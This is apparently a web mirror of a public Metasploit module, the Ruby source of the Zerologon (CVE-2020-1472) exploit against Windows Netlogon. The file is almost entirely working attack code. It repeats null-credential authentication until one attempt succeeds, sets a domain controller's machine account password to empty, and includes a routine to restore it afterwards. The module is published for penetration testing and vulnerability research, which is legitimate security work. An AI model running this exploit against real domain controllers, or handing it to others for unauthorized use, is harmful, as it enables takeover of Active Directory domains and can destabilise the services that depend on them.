Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb
33817 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'windows_error'
7
8
class MetasploitModule < Msf::Auxiliary
9
10
include Msf::Exploit::Remote::DCERPC
11
include Msf::Exploit::Remote::SMB::Client
12
include Msf::Auxiliary::Report
13
14
CheckCode = Exploit::CheckCode
15
Netlogon = RubySMB::Dcerpc::Netlogon
16
EMPTY_SHARED_SECRET = OpenSSL::Digest.digest('MD4', '')
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Netlogon Weak Cryptographic Authentication',
23
'Description' => %q{
24
A vulnerability exists within the Netlogon authentication process where the security properties granted by AES
25
are lost due to an implementation flaw related to the use of a static initialization vector (IV). An attacker
26
can leverage this flaw to target an Active Directory Domain Controller and make repeated authentication attempts
27
using NULL data fields which will succeed every 1 in 256 tries (~0.4%). This module leverages the vulnerability
28
to reset the machine account password to an empty string, which will then allow the attacker to authenticate as
29
the machine account. After exploitation, it's important to restore this password to it's original value. Failure
30
to do so can result in service instability.
31
},
32
'Author' => [
33
'Tom Tervoort', # original vulnerability details
34
'Spencer McIntyre', # metasploit module
35
'Dirk-jan Mollema' # password restoration technique
36
],
37
'Notes' => {
38
'AKA' => ['Zerologon'],
39
'Stability' => [CRASH_SAFE],
40
'Reliability' => [],
41
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
42
},
43
'License' => MSF_LICENSE,
44
'Actions' => [
45
[ 'REMOVE', { 'Description' => 'Remove the machine account password' } ],
46
[ 'RESTORE', { 'Description' => 'Restore the machine account password' } ]
47
],
48
'DefaultAction' => 'REMOVE',
49
'References' => [
50
[ 'CVE', '2020-1472' ],
51
[ 'URL', 'https://www.secura.com/blog/zero-logon' ],
52
[ 'URL', 'https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py' ],
53
[ 'URL', 'https://github.com/dirkjanm/CVE-2020-1472/blob/master/restorepassword.py' ],
54
[ 'ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION ],
55
[ 'ATT&CK', Mitre::Attack::Technique::T1078_VALID_ACCOUNTS ]
56
]
57
)
58
)
59
60
register_options(
61
[
62
OptPort.new('RPORT', [ false, 'The netlogon RPC port' ]),
63
OptString.new('NBNAME', [ true, 'The server\'s NetBIOS name' ]),
64
OptString.new('PASSWORD', [ false, 'The password to restore for the machine account (in hex)' ], conditions: %w[ACTION == RESTORE]),
65
]
66
)
67
end
68
69
def peer
70
"#{rhost}:#{@dport || datastore['RPORT']}"
71
end
72
73
def bind_to_netlogon_service
74
@dport = datastore['RPORT']
75
if @dport.nil? || @dport == 0
76
@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')
77
fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport
78
end
79
80
# Bind to the service
81
handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])
82
print_status("Binding to #{handle} ...")
83
dcerpc_bind(handle)
84
print_status("Bound to #{handle} ...")
85
end
86
87
def check
88
bind_to_netlogon_service
89
90
status = nil
91
2000.times do
92
netr_server_req_challenge
93
response = netr_server_authenticate3
94
95
break if (status = response.error_status) == 0
96
97
windows_error = ::WindowsError::NTStatus.find_by_retval(response.error_status.to_i).first
98
# Try again if the Failure is STATUS_ACCESS_DENIED, otherwise something has gone wrong
99
next if windows_error == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
100
101
fail_with(Failure::UnexpectedReply, windows_error)
102
end
103
104
return CheckCode::Detected unless status == 0
105
106
CheckCode::Vulnerable
107
end
108
109
def run
110
case action.name
111
when 'REMOVE'
112
action_remove_password
113
when 'RESTORE'
114
action_restore_password
115
end
116
end
117
118
def action_remove_password
119
fail_with(Failure::Unknown, 'Failed to authenticate to the server by leveraging the vulnerability') unless check == CheckCode::Vulnerable
120
121
print_good('Successfully authenticated')
122
123
report_vuln(
124
host: rhost,
125
port: @dport,
126
name: name,
127
sname: 'dcerpc',
128
proto: 'tcp',
129
refs: references,
130
info: "Module #{fullname} successfully authenticated to the server without knowledge of the shared secret"
131
)
132
133
response = netr_server_password_set2
134
status = response.error_status.to_i
135
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0
136
137
print_good("Successfully set the machine account (#{datastore['NBNAME']}$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)")
138
end
139
140
def action_restore_password
141
fail_with(Failure::BadConfig, 'The RESTORE action requires the PASSWORD option to be set') if datastore['PASSWORD'].blank?
142
fail_with(Failure::BadConfig, 'The PASSWORD option must be in hex') if /^([0-9a-fA-F]{2})+$/ !~ datastore['PASSWORD']
143
password = [datastore['PASSWORD']].pack('H*')
144
145
bind_to_netlogon_service
146
client_challenge = OpenSSL::Random.random_bytes(8)
147
148
response = netr_server_req_challenge(client_challenge: client_challenge)
149
session_key = Netlogon.calculate_session_key(EMPTY_SHARED_SECRET, client_challenge, response.server_challenge)
150
ppp = Netlogon.encrypt_credential(session_key, client_challenge)
151
152
response = netr_server_authenticate3(client_credential: ppp)
153
fail_with(Failure::NoAccess, 'Failed to authenticate (the machine account password may not be empty)') unless response.error_status == 0
154
155
new_password_data = ("\x00" * (512 - password.length)) + password + [password.length].pack('V')
156
response = netr_server_password_set2(
157
authenticator: Netlogon::NetlogonAuthenticator.new(
158
credential: Netlogon.encrypt_credential(session_key, [ppp.unpack1('Q') + 10].pack('Q')),
159
timestamp: 10
160
),
161
clear_new_password: Netlogon.encrypt_credential(session_key, new_password_data)
162
)
163
status = response.error_status.to_i
164
fail_with(Failure::UnexpectedReply, "Password change failed with NT status: 0x#{status.to_s(16)}") unless status == 0
165
166
print_good("Successfully set machine account (#{datastore['NBNAME']}$) password")
167
end
168
169
def netr_server_authenticate3(client_credential: "\x00" * 8)
170
nrpc_call('NetrServerAuthenticate3',
171
primary_name: "\\\\#{datastore['NBNAME']}",
172
account_name: "#{datastore['NBNAME']}$",
173
secure_channel_type: :ServerSecureChannel,
174
computer_name: datastore['NBNAME'],
175
client_credential: client_credential,
176
flags: 0x212fffff)
177
end
178
179
def netr_server_password_set2(authenticator: nil, clear_new_password: "\x00" * 516)
180
authenticator ||= Netlogon::NetlogonAuthenticator.new(credential: "\x00" * 8, timestamp: 0)
181
nrpc_call('NetrServerPasswordSet2',
182
primary_name: "\\\\#{datastore['NBNAME']}",
183
account_name: "#{datastore['NBNAME']}$",
184
secure_channel_type: :ServerSecureChannel,
185
computer_name: datastore['NBNAME'],
186
authenticator: authenticator,
187
clear_new_password: clear_new_password)
188
end
189
190
def netr_server_req_challenge(client_challenge: "\x00" * 8)
191
nrpc_call('NetrServerReqChallenge',
192
primary_name: "\\\\#{datastore['NBNAME']}",
193
computer_name: datastore['NBNAME'],
194
client_challenge: client_challenge)
195
end
196
197
def nrpc_call(name, **kwargs)
198
request = Netlogon.const_get("#{name}Request").new(**kwargs)
199
200
begin
201
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
202
rescue Rex::Proto::DCERPC::Exceptions::Fault
203
fail_with(Failure::UnexpectedReply, "The #{name} Netlogon RPC request failed")
204
end
205
206
Netlogon.const_get("#{name}Response").read(raw_response)
207
end
208
end
209
210